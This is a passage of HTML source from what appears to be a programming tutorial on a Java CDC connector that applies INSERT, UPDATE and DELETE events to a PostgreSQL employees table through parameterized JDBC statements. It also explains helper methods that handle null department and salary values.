                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"DELETE"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                    &lt;span class="s"&gt;"DELETE FROM employees WHERE id = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                         &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rowsDeleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsDeleted&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                            &lt;span class="s"&gt;"Expected to delete employee "&lt;/span&gt;
                                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;
                    &lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Unsupported CDC operation: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's examine how each operation is handled.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Extracting the Employee ID
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asInt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector extracts the employee ID from the parsed JSON data.&lt;/p&gt;

&lt;p&gt;This ID identifies the employee record that must be inserted, updated, or deleted in the destination database.&lt;/p&gt;

&lt;p&gt;The destination uses the same employee ID as the source database to maintain consistency between the two databases.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Handling INSERT Operations
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"INSERT"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
            INSERT INTO employees
            (id, name, department, salary)
            VALUES (?, ?, ?, ?)
            """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="n"&gt;setDepartment&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;setSalary&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the operation is &lt;code&gt;INSERT&lt;/code&gt;, the connector creates a new employee record in the destination database.&lt;/p&gt;

&lt;p&gt;The prepared statement uses four parameters:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Employee ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Employee name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Department&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Salary&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The employee ID and name are extracted directly from the JSON data.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;setDepartment()&lt;/code&gt; and &lt;code&gt;setSalary()&lt;/code&gt; helper methods handle the remaining fields, including NULL values.&lt;/p&gt;

&lt;p&gt;Finally, &lt;code&gt;executeUpdate()&lt;/code&gt; executes the INSERT statement.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Handling UPDATE Operations
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"UPDATE"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
            UPDATE employees
            SET name = ?, department = ?, salary = ?
            WHERE id = ?
            """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="n"&gt;setDepartment&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;setSalary&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Expected to update employee "&lt;/span&gt;
                            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the operation is &lt;code&gt;UPDATE&lt;/code&gt;, the connector modifies the corresponding employee record in the destination database.&lt;/p&gt;

&lt;p&gt;The SQL statement updates the employee's name, department, and salary using the employee ID as the condition.&lt;/p&gt;

&lt;p&gt;After executing the statement, the connector checks the number of affected rows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsUpdated&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Expected to update employee "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The implementation expects exactly one employee record to be updated.&lt;/p&gt;

&lt;p&gt;If no matching employee exists, or an unexpected number of rows is affected, the connector throws an &lt;code&gt;SQLException&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This prevents the connector from silently treating an unsuccessful update as successful.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Handling DELETE Operations
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"DELETE"&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="s"&gt;"DELETE FROM employees WHERE id = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                 &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;rowsDeleted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowsDeleted&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="s"&gt;"Expected to delete employee "&lt;/span&gt;
                            &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the operation is &lt;code&gt;DELETE&lt;/code&gt;, the connector removes the corresponding employee record from the destination database.&lt;/p&gt;

&lt;p&gt;The employee ID identifies the record to delete.&lt;/p&gt;

&lt;p&gt;Similar to the UPDATE operation, the connector verifies that exactly one row was deleted. Otherwise, it throws an &lt;code&gt;SQLException&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Handling Unsupported Operations
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Unsupported CDC operation: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;default&lt;/code&gt; branch handles any operation type that is not supported by the connector.&lt;/p&gt;

&lt;p&gt;Currently, the implementation supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;INSERT&lt;/li&gt;
&lt;li&gt;UPDATE&lt;/li&gt;
&lt;li&gt;DELETE&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an unexpected operation is received, the connector throws an exception instead of silently ignoring the event.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we examined how the Java CDC connector applies changes to the destination database.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extracts the employee ID from the parsed JSON event data.&lt;/li&gt;
&lt;li&gt;Uses a Java switch expression to identify the CDC operation.&lt;/li&gt;
&lt;li&gt;Executes INSERT statements for new employee records.&lt;/li&gt;
&lt;li&gt;Executes UPDATE statements for modified employee records.&lt;/li&gt;
&lt;li&gt;Executes DELETE statements for removed employee records.&lt;/li&gt;
&lt;li&gt;Uses JDBC &lt;code&gt;PreparedStatement&lt;/code&gt; for parameterized SQL execution.&lt;/li&gt;
&lt;li&gt;Verifies that UPDATE and DELETE operations affect exactly one row.&lt;/li&gt;
&lt;li&gt;Rejects unsupported CDC operations.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The connector can now translate captured CDC events into corresponding database operations.&lt;/p&gt;

&lt;p&gt;In the next subsection, we will examine how the connector handles nullable employee fields using the &lt;code&gt;setDepartment()&lt;/code&gt; and &lt;code&gt;setSalary()&lt;/code&gt; helper methods.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.7 Handling Nullable Employee Fields
&lt;/h3&gt;

&lt;p&gt;In the previous subsection, we examined how the connector applies INSERT, UPDATE, and DELETE operations to the destination database.&lt;/p&gt;

&lt;p&gt;You may have noticed that the &lt;code&gt;applyChange()&lt;/code&gt; method delegates the handling of department and salary values to two helper methods:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;setDepartment()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setSalary()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These methods handle nullable employee fields and ensure that SQL NULL values are correctly passed to PostgreSQL.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Handling the Department Field
&lt;/h4&gt;

&lt;p&gt;The implementation of &lt;code&gt;setDepartment()&lt;/code&gt; is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setDepartment&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;department&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
            &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"department"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;department&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;department&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isNull&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setNull&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Types&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VARCHAR&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;department&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asText&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's understand how this method works.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Retrieves the &lt;code&gt;department&lt;/code&gt; field from the JSON employee data.&lt;/li&gt;
&lt;li&gt;Checks whether the field is missing or contains a JSON NULL value.&lt;/li&gt;
&lt;li&gt;If the value is NULL, calls &lt;code&gt;PreparedStatement.setNull()&lt;/code&gt; with &lt;code&gt;Types.VARCHAR&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Otherwise, extracts the department value as a string and passes it to the prepared statement using &lt;code&gt;setString()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For example, consider the following employee data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John Smith"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"department"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"salary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;95000.00&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, the method detects that the department value is NULL and sets the corresponding SQL parameter to NULL.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Handling the Salary Field
&lt;/h4&gt;

&lt;p&gt;The implementation of &lt;code&gt;setSalary()&lt;/code&gt; is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setSalary&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;parameterIndex&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

